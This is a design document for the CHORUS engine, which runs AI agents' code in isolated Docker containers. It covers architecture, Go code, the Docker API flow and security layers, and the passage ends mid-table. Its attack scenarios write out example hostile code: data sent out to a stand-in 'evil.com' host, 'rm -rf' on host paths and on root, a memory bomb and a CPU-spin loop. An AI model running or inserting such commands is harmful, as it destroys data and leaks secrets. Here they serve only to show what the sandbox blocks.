# CHORUS Task Execution Engine

**Secure, Isolated, and Lightning-Fast Code Execution for Autonomous Agents**

---

## Table of Contents

1. [Overview](#overview)
2. [For Everyone: The Big Picture](#for-everyone-the-big-picture)
3. [How It Works: Step by Step](#how-it-works-step-by-step)
4. [For Developers: Technical Deep Dive](#for-developers-technical-deep-dive)
5. [Security & Isolation](#security--isolation)
6. [Performance Characteristics](#performance-characteristics)
7. [Comparison: Why This Approach?](#comparison-why-this-approach)
8. [Available Development Environments](#available-development-environments)
9. [Real-World Examples](#real-world-examples)
10. [Troubleshooting & FAQ](#troubleshooting--faq)

---

## Overview

The **CHORUS Task Execution Engine** is the system that allows AI agents to safely execute code, build software, run tests, and produce artifacts—all without risking your host system. Think of it as giving the AI a completely isolated "workshop" where it can use real tools (compilers, interpreters, build systems) but can never accidentally damage anything outside that workspace.

### Key Features

- ✅ **Complete Isolation** - Tasks run in containers that can't access your files or network
- ✅ **Multi-Language Support** - Pre-configured environments for Rust, Go, Python, Node.js, Java, C/C++
- ✅ **Reproducible Builds** - Same environment every time, no "works on my machine" problems
- ✅ **Resource Limited** - Control CPU, memory, disk usage to prevent runaway processes
- ✅ **No SSH Required** - Direct API communication, no authentication complexity
- ✅ **Instant Startup** - Containers stay warm, commands execute in milliseconds
- ✅ **Full Monitoring** - Track resource usage, capture all output, audit all actions

---

## For Everyone: The Big Picture

### The Problem We're Solving

When an AI agent needs to execute code, we face a dilemma:

```
┌─────────────────────────────────────────┐
│  Option 1: Run directly on your system │
│  ✅ Fast                                │
│  ❌ Dangerous (AI could delete files)  │
│  ❌ Unpredictable (depends on your OS) │
│  ❌ No resource limits                  │
└─────────────────────────────────────────┘

┌─────────────────────────────────────────┐
│  Option 2: Run in isolated environment │
│  ✅ Safe (can't access your files)     │
│  ✅ Predictable (same environment)     │
│  ✅ Resource controlled                 │
│  ✅ Easy to reset if something breaks  │
└─────────────────────────────────────────┘
```

CHORUS chooses **Option 2** using Docker containers as secure, isolated workspaces.

### The Analogy: Virtual Workshop

Imagine hiring a contractor to build something:

**Traditional Approach (Unsafe):**
```
You: "Here are the keys to my house. Build me a bookshelf."
Contractor: *Has access to everything in your house*
```

**CHORUS Approach (Safe):**
```
You: "Here's a fully-equipped workshop in my garage."
     "All the tools you need are inside."
     "You can only access materials I put in the 'input' box."
     "Put the finished bookshelf in the 'output' box."
     "The workshop door locks from the outside—you can't leave."

Contractor: *Has everything needed, but can't access your house*
```

This is exactly what CHORUS does with code execution—except the "workshop" is a Docker container.

### Visual Overview

```
┌─────────────────────────────────────────────────────────────────┐
│                        CHORUS AGENT                             │
│  "I need to compile this Rust project and run tests"           │
└────────────────────────┬────────────────────────────────────────┘
                         │
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│                   TASK EXECUTION ENGINE                         │
│  1. Detect language: "Rust"                                     │
│  2. Select image: anthonyrawlins/chorus-rust-dev                │
│  3. Create isolated container                                   │
│  4. Execute commands safely                                     │
└────────────────────────┬────────────────────────────────────────┘
                         │
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│            🐳 ISOLATED DOCKER CONTAINER                         │
│  ┌───────────────────────────────────────────────────────────┐ │
│  │  📁 /workspace/                                           │ │
│  │     ├── 📖 input/   (read-only: source code from user)   │ │
│  │     ├── 🔨 data/    (working: builds, temp files)        │ │
│  │     └── 📦 output/  (deliverables: binaries, reports)    │ │
│  │                                                            │ │
│  │  🔧 Pre-installed Tools:                                  │ │
│  │     • rustc (Rust compiler)                               │ │
│  │     • cargo (Rust build tool)                             │ │
│  │     • clippy (Rust linter)                                │ │
│  │     • git, vim, curl, etc.                                │ │
│  │                                                            │ │
│  │  🛡️ Security Boundaries:                                  │ │
│  │     • No network access (configurable)                    │ │
│  │     • No access to host files                             │ │
│  │     • Limited CPU: 2 cores                                │ │
│  │     • Limited RAM: 2GB                                    │ │
│  │     • Non-root user: chorus (UID 1000)                    │ │
│  └───────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
                         │
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│                      RESULTS RETURNED                           │
│  ✅ Exit code: 0 (success)                                      │
│  📄 stdout: "Compiling myapp v0.1.0..."                         │
│  📄 stderr: "warning: unused variable..."                       │
│  📦 Artifacts: [myapp binary, test results]                     │
│  ⏱️  Duration: 45.3 seconds                                     │
│  💾 Memory used: 1.2GB / 2GB                                    │
└─────────────────────────────────────────────────────────────────┘
```

---

## How It Works: Step by Step

### Phase 1: Setup (happens once per task)

```
Step 1: Language Detection
┌─────────────────────────────────────────┐
│ Task: "Fix Rust compilation error"     │
│                                         │
│ Detection Logic:                        │
│ 1. Check explicit language field       │
│ 2. Analyze repository URL patterns     │
│ 3. Scan description for keywords       │
│                                         │
│ Result: Language = "rust"              │
└─────────────────────────────────────────┘
                 ↓
Step 2: Image Selection
┌─────────────────────────────────────────┐
│ Language: "rust"                        │
│                                         │
│ Image Map:                              │
│ rust     → chorus-rust-dev              │
│ go       → chorus-go-dev                │
│ python   → chorus-python-dev            │
│ ...                                     │
│                                         │
│ Selected: anthonyrawlins/chorus-rust-dev│
└─────────────────────────────────────────┘
                 ↓
Step 3: Container Creation
┌─────────────────────────────────────────┐
│ Pull Image (if not cached):            │
│ docker pull anthonyrawlins/             │
│             chorus-rust-dev:latest      │
│                                         │
│ Create Container:                       │
│ • Image: chorus-rust-dev                │
│ • Memory: 2GB limit                     │
│ • CPU: 2 cores                          │
│ • Network: isolated (no internet)      │
│ • Filesystem: isolated                  │
│                                         │
│ Keep-Alive Command:                     │
│ tail -f /dev/null                       │
│ (container stays running, ready for     │
│  commands, but does nothing actively)   │
└─────────────────────────────────────────┘
```

### Phase 2: Execution (repeats for each command)

```
Step 4: Command Execution
┌─────────────────────────────────────────┐
│ Command: cargo build --release          │
│                                         │
│ Via Docker Exec API:                    │
│ POST /containers/{id}/exec              │
│ {                                       │
│   "Cmd": ["cargo", "build", "--release"]│
│   "WorkingDir": "/workspace/data"       │
│   "AttachStdout": true                  │
│   "AttachStderr": true                  │
│ }                                       │
│                                         │
│ Response: exec_id = "abc123"            │
└─────────────────────────────────────────┘
                 ↓
Step 5: Stream Output
┌─────────────────────────────────────────┐
│ POST /exec/abc123/start                 │
│                                         │
│ Binary stream (multiplexed):           │
│ [stdout] Compiling myapp v0.1.0...     │
│ [stdout]    Compiling deps v1.0.0      │
│ [stderr] warning: unused variable      │
│ [stdout]     Finished release [opt]    │
│                                         │
│ CHORUS demultiplexes into separate     │
│ stdout and stderr buffers              │
└─────────────────────────────────────────┘
                 ↓
Step 6: Wait for Completion
┌─────────────────────────────────────────┐
│ Poll every 100ms:                       │
│ GET /exec/abc123/json                   │
│                                         │
│ Response:                               │
│ {                                       │
│   "Running": false,                     │
│   "ExitCode": 0,                        │
│   "Pid": 12345                          │
│ }                                       │
│                                         │
│ Command completed successfully!         │
└─────────────────────────────────────────┘
```

### Phase 3: File Operations

```
Writing Files (Code → Container)
┌─────────────────────────────────────────┐
│ Create tar archive in memory:          │
│                                         │
│ [tar header: "main.rs", size: 1024]    │
│ [file content: "fn main() { ... }"]    │
│                                         │
│ PUT /containers/{id}/archive           │
│ Target: /workspace/data/src/main.rs    │
│                                         │
│ Result: File appears in container       │
└─────────────────────────────────────────┘

Reading Files (Container → Result)
┌─────────────────────────────────────────┐
│ GET /containers/{id}/archive            │
│ Path: /workspace/output/myapp           │
│                                         │
│ Response: tar stream                    │
│ [tar header: "myapp", size: 4194304]   │
│ [binary content: ELF executable]        │
│                                         │
│ Extract from tar → return to agent      │
└─────────────────────────────────────────┘
```

### Phase 4: Cleanup

```
Step 7: Resource Cleanup
┌─────────────────────────────────────────┐
│ When task completes:                    │
│                                         │
│ 1. docker stop {container_id}           │
│    (graceful shutdown: 30s timeout)     │
│                                         │
│ 2. docker rm {container_id}             │
│    (delete container completely)        │
│                                         │
│ 3. Remove temporary files on host       │
│                                         │
│ Result: Zero traces left behind         │
└─────────────────────────────────────────┘
```

---

## For Developers: Technical Deep Dive

### Architecture Components

```
┌───────────────────────────────────────────────────────────────────┐
│                      TaskExecutionEngine                          │
│  Location: pkg/execution/engine.go                                │
│                                                                   │
│  Responsibilities:                                                │
│  • Orchestrate task execution lifecycle                           │
│  • Coordinate between AI providers and sandboxes                  │
│  • Parse AI responses for executable commands                     │
│  • Collect and format results                                     │
│  • Track metrics and resource usage                               │
└─────────────────────────────┬─────────────────────────────────────┘
                              │
                              │ creates
                              ▼
┌───────────────────────────────────────────────────────────────────┐
│                         ImageSelector                             │
│  Location: pkg/execution/images.go                                │
│                                                                   │
│  Responsibilities:                                                │
│  • Detect language from task context                              │
│  • Map language to appropriate Docker image                       │
│  • Provide image metadata and capabilities                        │
│                                                                   │
│  Detection Priority:                                              │
│  1. context.language field (explicit)                             │
│  2. AI model name hints                                           │
│  3. Repository URL patterns                                       │
│  4. Description keyword analysis                                  │
└─────────────────────────────┬─────────────────────────────────────┘
                              │
                              │ provides image name
                              ▼
┌───────────────────────────────────────────────────────────────────┐
│                      ExecutionSandbox (Interface)                 │
│  Location: pkg/execution/sandbox.go                               │
│                                                                   │
│  Interface Methods:                                               │
│  • Initialize(ctx, config) error                                  │
│  • ExecuteCommand(ctx, cmd) (*CommandResult, error)               │
│  • WriteFile(ctx, path, content, mode) error                      │
│  • ReadFile(ctx, path) ([]byte, error)                            │
│  • ListFiles(ctx, path) ([]FileInfo, error)                       │
│  • GetResourceUsage(ctx) (*ResourceUsage, error)                  │
│  • Cleanup() error                                                │
└─────────────────────────────┬─────────────────────────────────────┘
                              │
                              │ implemented by
                              ▼
┌───────────────────────────────────────────────────────────────────┐
│                         DockerSandbox                             │
│  Location: pkg/execution/docker.go                                │
│                                                                   │
│  Key Fields:                                                      │
│  • client: *docker.Client     (Docker SDK)                        │
│  • containerID: string         (running container)                │
│  • config: *SandboxConfig      (resource limits, security)        │
│  • workingDir: string          (default: /workspace/data)         │
│  • environment: map[string]string                                 │
│                                                                   │
│  Implementation Details:                                          │
│  • Uses official Docker SDK for Go                                │
│  • Communicates via Unix socket /var/run/docker.sock              │
│  • Never spawns subprocesses (all via API)                        │
│  • Multiplexes stdout/stderr from binary stream                   │
│  • Streams files via tar archives                                 │
└───────────────────────────────────────────────────────────────────┘
```

### Code Flow Diagram

```go
// 1. ENGINE RECEIVES TASK
func (e *DefaultTaskExecutionEngine) ExecuteTask(
    ctx context.Context,
    request *TaskExecutionRequest,
) (*TaskExecutionResult, error) {

    // 2. CREATE SANDBOX CONFIG
    sandboxConfig := e.createSandboxConfig(request)

    // Inside createSandboxConfig:
    imageSelector := NewImageSelector()
    selectedImage := imageSelector.SelectImageForTask(request)
    // Result: "anthonyrawlins/chorus-rust-dev:latest"

    config := &SandboxConfig{
        Image: selectedImage,
        WorkingDir: "/workspace/data",
        Environment: map[string]string{
            "WORKSPACE_ROOT":   "/workspace",
            "WORKSPACE_INPUT":  "/workspace/input",
            "WORKSPACE_DATA":   "/workspace/data",
            "WORKSPACE_OUTPUT": "/workspace/output",
        },
        Resources: ResourceLimits{
            MemoryLimit: 2 * 1024 * 1024 * 1024, // 2GB
            CPULimit:    2.0,                     // 2 cores
        },
        Security: SecurityPolicy{
            NoNewPrivileges: true,
            AllowNetworking: false,
            DropCapabilities: []string{"ALL"},
        },
    }

    // 3. INITIALIZE SANDBOX
    sandbox := NewDockerSandbox()
    sandbox.Initialize(ctx, config)
    defer sandbox.Cleanup()

    // 4. EXECUTE COMMANDS
    cmd := &Command{
        Executable: "/bin/sh",
        Args:       []string{"-c", "cargo build --release"},
        WorkingDir: "/workspace/data",
        Timeout:    5 * time.Minute,
    }

    result, err := sandbox.ExecuteCommand(ctx, cmd)

    // 5. COLLECT ARTIFACTS
    if result.ExitCode == 0 {
        binaryContent, _ := sandbox.ReadFile(ctx,
            "/workspace/data/target/release/myapp")

        artifacts = append(artifacts, TaskArtifact{
            Name:    "myapp",
            Type:    "binary",
            Content: binaryContent,
            Size:    len(binaryContent),
        })
    }

    // 6. RETURN RESULTS
    return &TaskExecutionResult{
        Success:   result.ExitCode == 0,
        Output:    result.Stdout,
        Artifacts: artifacts,
        Metrics: &ExecutionMetrics{
            Duration:         result.Duration,
            CommandsExecuted: 1,
            ResourceUsage:    result.ResourceUsage,
        },
    }, nil
}
```

### Docker API Communication

**What Actually Happens Under the Hood:**

```
Host (CHORUS Process)              Docker Daemon
        │                               │
        │ Unix Socket Connection        │
        │ /var/run/docker.sock          │
        ├───────────────────────────────┤
        │                               │
        │ POST /v1.43/containers/create │
        │ {                             │
        │   "Image": "chorus-rust-dev", │
        │   "Cmd": ["tail","-f","/dev/null"]
        │   "HostConfig": {             │
        │     "Memory": 2147483648,     │
        │     "NanoCPUs": 2000000000,   │
        │     "CapDrop": ["ALL"]        │
        │   }                           │
        │ }                             │
        ├──────────────────────────────>│
        │                               │ Create container
        │<──────────────────────────────┤
        │ 201 Created                   │
        │ {"Id": "abc123def456..."}     │
        │                               │
        │ POST /v1.43/containers/       │
        │      abc123/start             │
        ├──────────────────────────────>│
        │                               │ Start container
        │<──────────────────────────────┤
        │ 204 No Content                │
        │                               │
        │ POST /v1.43/containers/       │
        │      abc123/exec              │
        │ {                             │
        │   "AttachStdout": true,       │
        │   "AttachStderr": true,       │
        │   "Cmd": ["cargo","build"]    │
        │ }                             │
        ├──────────────────────────────>│
        │                               │ Create exec instance
        │<──────────────────────────────┤
        │ 201 Created                   │
        │ {"Id": "exec789xyz..."}       │
        │                               │
        │ POST /v1.43/exec/exec789/start│
        ├──────────────────────────────>│
        │                               │ Execute command
        │<══════════════════════════════┤ (Binary stream)
        │ [stdout stream]               │ cargo output
        │ [stderr stream]               │ warnings
        │<══════════════════════════════┤
        │ Stream ends                   │
        │                               │
        │ GET /v1.43/exec/exec789/json  │
        ├──────────────────────────────>│
        │                               │ Check status
        │<──────────────────────────────┤
        │ {"Running": false,            │
        │  "ExitCode": 0}               │
        │                               │
        │ DELETE /v1.43/containers/     │
        │        abc123?force=true      │
        ├──────────────────────────────>│
        │                               │ Remove container
        │<──────────────────────────────┤
        │ 204 No Content                │
        │                               │
```

### Key Implementation Files

| File | Purpose | Key Functions |
|------|---------|---------------|
| `pkg/execution/engine.go` | Main orchestration | `ExecuteTask()`, `createSandboxConfig()`, `executeTaskInternal()` |
| `pkg/execution/images.go` | Image selection logic | `SelectImageForTask()`, `DetectLanguage()`, `detectLanguageFromDescription()` |
| `pkg/execution/sandbox.go` | Sandbox interface | Interface definitions for all sandbox implementations |
| `pkg/execution/docker.go` | Docker implementation | `Initialize()`, `ExecuteCommand()`, `WriteFile()`, `ReadFile()`, `Cleanup()` |

### Critical Code Sections

**1. Command Execution (docker.go:115-239)**

```go
func (d *DockerSandbox) ExecuteCommand(ctx context.Context, cmd *Command) (*CommandResult, error) {
    // Build command
    execCmd := []string{cmd.Executable}
    execCmd = append(execCmd, cmd.Args...)

    // Create exec instance
    execConfig := container.ExecOptions{
        AttachStdout: true,
        AttachStderr: true,
        Cmd:          execCmd,
        WorkingDir:   cmd.WorkingDir,
        Env:          d.buildEnvironment(cmd.Environment),
    }

    exec, err := d.client.ContainerExecCreate(ctx, d.containerID, execConfig)

    // Attach and stream output
    resp, err := d.client.ContainerExecAttach(ctx, exec.ID, attachOptions)
    defer resp.Close()

    // Demultiplex Docker's binary stream format
    var stdout, stderr bytes.Buffer
    d.demultiplexOutput(resp.Reader, &stdout, &stderr)

    // Poll for completion
    for {
        inspect, err := d.client.ContainerExecInspect(ctx, exec.ID)
        if !inspect.Running {
            return &CommandResult{
                ExitCode: inspect.ExitCode,
                Stdout:   stdout.String(),
                Stderr:   stderr.String(),
            }, nil
        }
        time.Sleep(100 * time.Millisecond)
    }
}
```

**2. Output Demultiplexing (docker.go:876-915)**

Docker multiplexes stdout and stderr into a single binary stream with this format:

```
Byte 0:     Stream Type (1=stdout, 2=stderr)
Bytes 1-3:  Padding (always 0)
Bytes 4-7:  Frame Size (big-endian uint32)
Bytes 8+:   Frame Data
```

```go
func (d *DockerSandbox) demultiplexOutput(reader io.Reader, stdout, stderr io.Writer) error {
    buf := make([]byte, 8192)
    for {
        n, err := reader.Read(buf)
        if n < 8 {
            continue // Need at least 8 bytes for header
        }

        streamType := buf[0]         // 1=stdout, 2=stderr
        size := int(buf[4])<<24 +    // Parse 32-bit size
                int(buf[5])<<16 +
                int(buf[6])<<8 +
                int(buf[7])

        data := buf[8 : 8+size]      // Extract frame data

        switch streamType {
        case 1:
            stdout.Write(data)       // Route to stdout
        case 2:
            stderr.Write(data)       // Route to stderr
        }
    }
}
```

**3. Image Selection Logic (images.go:74-154)**

```go
func (s *ImageSelector) DetectLanguage(task *TaskExecutionRequest) string {
    // Priority 1: Explicit language field
    if lang, ok := task.Context["language"].(string); ok && lang != "" {
        return strings.ToLower(strings.TrimSpace(lang))
    }

    // Priority 2: Model name hints
    if task.Requirements != nil && task.Requirements.AIModel != "" {
        if modelLang := extractLanguageFromModel(task.Requirements.AIModel); modelLang != "" {
            return modelLang
        }
    }

    // Priority 3: Repository URL patterns
    if repoURL, ok := task.Context["repository_url"].(string); ok && repoURL != "" {
        return detectLanguageFromRepo(repoURL)
    }

    // Priority 4: Description keyword analysis
    return detectLanguageFromDescription(task.Description)
}

func detectLanguageFromDescription(description string) string {
    keywords := []struct {
        language string
        patterns []string
        priority int
    }{
        // High priority - specific indicators
        {"rust", []string{"cargo.toml", "cargo build", ".rs file"}, 3},
        {"python", []string{"pip install", "pytest", "requirements.txt"}, 3},

        // Medium priority - generic mentions
        {"rust", []string{"rust"}, 2},
        {"python", []string{"python"}, 2},
    }

    bestMatch := ""
    bestPriority := 0

    for _, kw := range keywords {
        for _, pattern := range kw.patterns {
            if strings.Contains(strings.ToLower(description), pattern) {
                if kw.priority > bestPriority {
                    bestMatch = kw.language
                    bestPriority = kw.priority
                }
            }
        }
    }

    return bestMatch // Returns "base" if no match
}
```

---

## Security & Isolation

### Defense in Depth: Multiple Security Layers

```
┌──────────────────────────────────────────────────────────────────┐
│ Layer 1: Linux Kernel Namespaces                                │
│ ─────────────────────────────────────────────────────────────── │
│ • PID Namespace: Container can't see host processes             │
│ • Network Namespace: Isolated network stack (default: no net)   │
│ • Mount Namespace: Container can't see host filesystem          │
│ • IPC Namespace: No shared memory with host                     │
│ • UTS Namespace: Separate hostname                              │
│ • User Namespace: UID mapping for file permissions              │
└──────────────────────────────────────────────────────────────────┘
          ↓
┌──────────────────────────────────────────────────────────────────┐
│ Layer 2: Control Groups (cgroups)                               │
│ ─────────────────────────────────────────────────────────────── │
│ • Memory Limit: 2GB hard limit (OOM kill if exceeded)           │
│ • CPU Limit: 2 cores maximum                                    │
│ • PID Limit: 100 processes maximum                              │
│ • Block I/O: Rate limiting on disk operations                   │
│ • No access to host's /sys, /proc                               │
└──────────────────────────────────────────────────────────────────┘
          ↓
┌──────────────────────────────────────────────────────────────────┐
│ Layer 3: Linux Capabilities                                      │
│ ─────────────────────────────────────────────────────────────── │
│ Dropped Capabilities (CapDrop: ALL):                             │
│ • CAP_SYS_ADMIN: Can't modify system settings                   │
│ • CAP_NET_ADMIN: Can't modify network configuration             │
│ • CAP_SYS_MODULE: Can't load kernel modules                     │
│ • CAP_SYS_RAWIO: Can't access raw I/O                           │
│ • ALL other capabilities dropped                                │
│                                                                  │
│ Added Capabilities (minimal):                                    │
│ • None by default                                               │
│ • NET_BIND_SERVICE only if networking enabled                   │
└──────────────────────────────────────────────────────────────────┘
          ↓
┌──────────────────────────────────────────────────────────────────┐
│ Layer 4: Seccomp (Secure Computing Mode)                        │
│ ─────────────────────────────────────────────────────────────── │
│ Blocked System Calls:                                            │
│ • reboot, swapon, swapoff                                       │
│ • mount, umount (filesystem manipulation)                       │
│ • kexec_load (kernel execution)                                 │
│ • ptrace (process debugging/manipulation)                       │
│ • 300+ other dangerous syscalls                                 │
└──────────────────────────────────────────────────────────────────┘
          ↓
┌──────────────────────────────────────────────────────────────────┐
│ Layer 5: AppArmor / SELinux (MAC)                               │
│ ─────────────────────────────────────────────────────────────── │
│ Mandatory Access Control profiles:                              │
│ • Restrict which files can be read/written                      │
│ • Block access to sensitive host paths                          │
│ • Prevent privilege escalation                                  │
└──────────────────────────────────────────────────────────────────┘
          ↓
┌──────────────────────────────────────────────────────────────────┐
│ Layer 6: Read-Only Root Filesystem                              │
│ ─────────────────────────────────────────────────────────────── │
│ • Root filesystem mounted read-only                             │
│ • Only /workspace/* is writable                                 │
│ • No modification of system binaries                            │
│ • No installation of packages (use pre-built images)            │
└──────────────────────────────────────────────────────────────────┘
          ↓
┌──────────────────────────────────────────────────────────────────┐
│ Layer 7: Network Isolation                                       │
│ ─────────────────────────────────────────────────────────────── │
│ Default: NetworkMode = "none"                                    │
│ • No network interfaces (except loopback)                       │
│ • Can't make outbound connections                               │
│ • Can't receive inbound connections                             │
│ • Configurable if task requires network                         │
└──────────────────────────────────────────────────────────────────┘
          ↓
┌──────────────────────────────────────────────────────────────────┐
│ Layer 8: Non-Root User                                           │
│ ─────────────────────────────────────────────────────────────── │
│ • Runs as user "chorus" (UID 1000)                              │
│ • Not in sudoers                                                │
│ • No password authentication                                    │
│ • Can't escalate to root (no-new-privileges flag)               │
└──────────────────────────────────────────────────────────────────┘
```

### Security Configuration (Code)

```go
// pkg/execution/docker.go:558-641
func (d *DockerSandbox) buildHostConfig() *container.HostConfig {
    return &container.HostConfig{
        // Resource Limits
        Resources: container.Resources{
            Memory:     2 * 1024 * 1024 * 1024, // 2GB
            NanoCPUs:   2000000000,             // 2 cores
            PidsLimit:  ptr(100),                // 100 processes max
        },

        // Security Options
        SecurityOpt: []string{
            "no-new-privileges:true",            // Prevent privilege escalation
            "seccomp=/etc/docker/seccomp.json",  // Syscall filtering
            "apparmor=docker-default",           // AppArmor profile
        },

        // Capabilities (drop all by default)
        CapDrop: []string{"ALL"},
        CapAdd:  []string{},  // Add none unless specifically needed

        // Network Isolation
        NetworkMode: "none",  // No network access

        // Filesystem Security
        ReadonlyRootfs: true,  // Read-only root

        // Process Isolation
        IpcMode:  "private",   // No shared IPC
        PidMode:  "private",   // Can't see host processes

        // Never privileged
        Privileged: false,
    }
}
```

### What Can and Cannot Happen

| Action | Possible? | Why? |
|--------|-----------|------|
| **Read host files** | ❌ No | Mount namespace isolation |
| **Write host files** | ❌ No | Mount namespace isolation |
| **See host processes** | ❌ No | PID namespace isolation |
| **Access host network** | ❌ No | Network namespace = "none" |
| **Use more than 2GB RAM** | ❌ No | OOM killer terminates process |
| **Use more than 2 CPU cores** | ❌ No | CFS scheduler throttles |
| **Spawn 1000 processes** | ❌ No | PID limit = 100 |
| **Load kernel modules** | ❌ No | CAP_SYS_MODULE dropped |
| **Reboot system** | ❌ No | Seccomp blocks reboot syscall |
| **Escalate to root** | ❌ No | no-new-privileges flag |
| **Compile code** | ✅ Yes | Compiler included in image |
| **Run tests** | ✅ Yes | Test frameworks pre-installed |
| **Read /workspace/input** | ✅ Yes | Mounted read-only |
| **Write to /workspace/data** | ✅ Yes | Working directory |
| **Create artifacts in /workspace/output** | ✅ Yes | Output directory |

### Real-World Attack Scenarios (and how we prevent them)

**Scenario 1: Malicious Code Tries to Delete Host Files**

```bash
# Malicious command attempted by compromised AI
rm -rf /host/important_data

# What actually happens:
# ❌ /host/important_data doesn't exist in container namespace
# ✅ Even if it did, read-only root filesystem prevents deletion
# ✅ Mount namespace prevents access to host paths
# Result: Command fails harmlessly
```

**Scenario 2: Infinite Loop Consumes All CPU**

```rust
// Malicious code
loop {
    // Busy loop attempting to DoS host
    let x = 1 + 1;
}

// What actually happens:
// ✅ CFS scheduler limits to 2 cores maximum
// ✅ Host system still has remaining cores available
// ✅ Timeout kills container after 5 minutes
// Result: Host remains responsive
```

**Scenario 3: Memory Bomb Attempts to Crash System**

```python
# Malicious code
data = []
while True:
    data.append('x' * 10000000)  # Allocate 10MB per iteration

# What actually happens:
# ✅ Memory limit = 2GB enforced by cgroups
# ✅ When exceeded, OOM killer terminates process
# ✅ Host memory unaffected
# Result: Container terminated, host protected
```

**Scenario 4: Attempts Network Exfiltration of Data**

```go
// Malicious code
http.Post("http://evil.com/steal", "application/json", secretData)

// What actually happens:
// ❌ No network interfaces available (NetworkMode="none")
// ❌ Can't resolve DNS
// ❌ Can't create TCP connections
// Result: Network call fails immediately
```

---

## Performance Characteristics

### Startup Times

```
┌─────────────────────────────────────────────────────────────┐
│ Operation                      Time          Notes          │
├─────────────────────────────────────────────────────────────┤
│ Image pull (first time)        30-120s       One-time cost  │
│ Image pull (cached)            0ms           Already local  │
│ Container creation             200-500ms     Create config  │
│ Container start                100-300ms     Process spawn  │
│ First exec command             10-50ms       Setup overhead │
│ Subsequent exec commands       5-15ms        Amortized      │
│ File copy (1MB)                20-50ms       Tar streaming  │
│ Container stop & remove        100-200ms     Graceful       │
└─────────────────────────────────────────────────────────────┘

Total for "Hello World" task:  400-850ms (cached image)
Total for Rust compilation:    45-120s (depends on project size)
```

### Resource Overhead

```
Component               Memory Overhead    CPU Overhead
─────────────────────────────────────────────────────────
Docker daemon           50-100MB           1-2% idle
Container runtime       20-50MB            <1% idle
Executing process       Actual + 10-20MB   Actual + 2-3%
CHORUS orchestration    30-50MB            1-2%
─────────────────────────────────────────────────────────
Total overhead          ~150MB             ~5%
```

### Comparison: Different Execution Models

```
┌──────────────────────────────────────────────────────────────────┐
│ Metric            │ Docker Exec │ New Container │ SSH  │ Native │
│                   │ (CHORUS)    │  Per Command  │      │        │
├──────────────────────────────────────────────────────────────────┤
│ Startup Time      │ 400ms       │ 2-5s          │ 50ms │ 0ms    │
│ Command Latency   │ 10ms        │ N/A           │ 30ms │ 0ms    │
│ Memory Overhead   │ 150MB       │ 200MB         │ 100MB│ 0MB    │
│ File Persistence  │ ✅ Yes      │ ❌ No         │ ✅ Yes│ N/A   │
│ Security Isolation│ ✅ Full     │ ✅ Full       │ ⚠️ Partial│❌ None│
│ Setup Complexity  │ ⭐ Low      │ ⭐ Low        │ ⭐⭐⭐ High│⭐ Low │
│ State Between Cmds│ ✅ Yes      │ ❌ No         │ ✅ Yes│ N/A   │
│ API vs CLI        │ ✅ API      │ ⚠️ CLI        │ ⚠️ CLI│ N/A   │
└──────────────────────────────────────────────────────────────────┘

Winner: Docker Exec (CHORUS approach) ✨
• Persistent state between commands
• Low latency after warmup
• Full isolation
• No authentication complexity
• Direct API access (no CLI parsing)
```

### Performance Optimization Strategies

**1. Container Warmup**
```go
// Container stays alive between commands
Cmd: []string{"tail", "-f", "/dev/null"}

// Benefits:
// • No restart overhead
// • Cached filesystem state
// • Amortized startup cost
```

**2. Image Pre-pulling**
```bash
# Pre-pull on cluster nodes
docker pull anthonyrawlins/chorus-rust-dev:latest
docker pull anthonyrawlins/chorus-go-dev:latest
docker pull anthonyrawlins/chorus-python-dev:latest

# Result: Zero pull time during task execution
```

**3. Layer Caching**
```dockerfile
# All language images share base layer
FROM debian:bookworm AS base
# Base layer: 643MB (shared across all images)

FROM base AS rust-dev
# Only Rust-specific layers downloaded
# Effective size: ~1.8GB additional
```

**4. Efficient File Transfer**
```go
// Use tar streaming (not individual file copies)
buf := new(bytes.Buffer)
tw := tar.NewWriter(buf)
// Add multiple files to single tar
// Transfer entire archive in one API call
```

---

## Comparison: Why This Approach?

### Alternative 1: SSH into Container

```
┌─────────────────────────────────────────────────────────────┐
│ How it would work:                                          │
│ 1. Install openssh-server in container                     │
│ 2. Generate SSH keys                                        │
│ 3. Start sshd daemon                                        │
│ 4. SSH from CHORUS to container                             │
│ 5. Execute commands via SSH session                         │
└─────────────────────────────────────────────────────────────┘

Problems:
❌ Extra attack surface (sshd vulnerabilities)
❌ Key management complexity
❌ Authentication overhead
❌ Extra memory (sshd process)
❌ Port management (need unique ports)
❌ Terminal emulation complexity
❌ Less portable (SSH not always available)

Example:
# Dockerfile additions needed
RUN apt-get install -y openssh-server && \
    mkdir /var/run/sshd && \
    echo 'chorus:password' | chpasswd

CMD ["/usr/sbin/sshd", "-D"]

# Code complexity
conn, err := ssh.Dial("tcp", fmt.Sprintf("localhost:%d", containerPort), sshConfig)
session, err := conn.NewSession()
output, err := session.CombinedOutput("cargo build")
```

### Alternative 2: New Container Per Command

```
┌─────────────────────────────────────────────────────────────┐
│ How it would work:                                          │
│ 1. Create container for command                             │
│ 2. Run: docker run --rm image cargo build                  │
│ 3. Wait for completion                                      │
│ 4. Container auto-removes                                   │
│ 5. Repeat for next command                                  │
└─────────────────────────────────────────────────────────────┘

Problems:
❌ Slow (2-5s startup per command)
❌ No state persistence between commands
❌ Can't cd between commands
❌ Can't set environment variables
❌ Wasteful (recreate same environment)
❌ Higher resource churn

Example:
// Command 1
docker run --rm chorus-rust-dev cargo build
// 2-5 second startup, builds in /workspace

// Command 2
docker run --rm chorus-rust-dev cargo test
// PROBLEM: Previous build artifacts gone!
// Must rebuild everything again
```

### Alternative 3: Direct Host Execution

```
┌─────────────────────────────────────────────────────────────┐
│ How it would work:                                          │
│ 1. Run commands directly on host OS                         │
│ 2. No containers, no isolation                              │
└─────────────────────────────────────────────────────────────┘

Problems:
❌ EXTREMELY DANGEROUS (AI has full system access)
❌ Unpredictable (depends on host OS)
❌ "Works on my machine" syndrome
❌ No resource limits
❌ No cleanup (files left behind)
❌ Dependency conflicts
❌ Security nightmare

Example:
// If AI gets compromised or makes mistake:
exec.Command("rm", "-rf", "/").Run()
// 💀 Your entire system is gone
```

### Why Docker Exec is Optimal

```
┌──────────────────────────────────────────────────────────────┐
│                  ✅ CHORUS Approach Wins                     │
├──────────────────────────────────────────────────────────────┤
│ Security          │ ⭐⭐⭐⭐⭐  Full isolation, multiple layers│
│ Performance       │ ⭐⭐⭐⭐⭐  Fast after warmup (10ms/cmd)  │
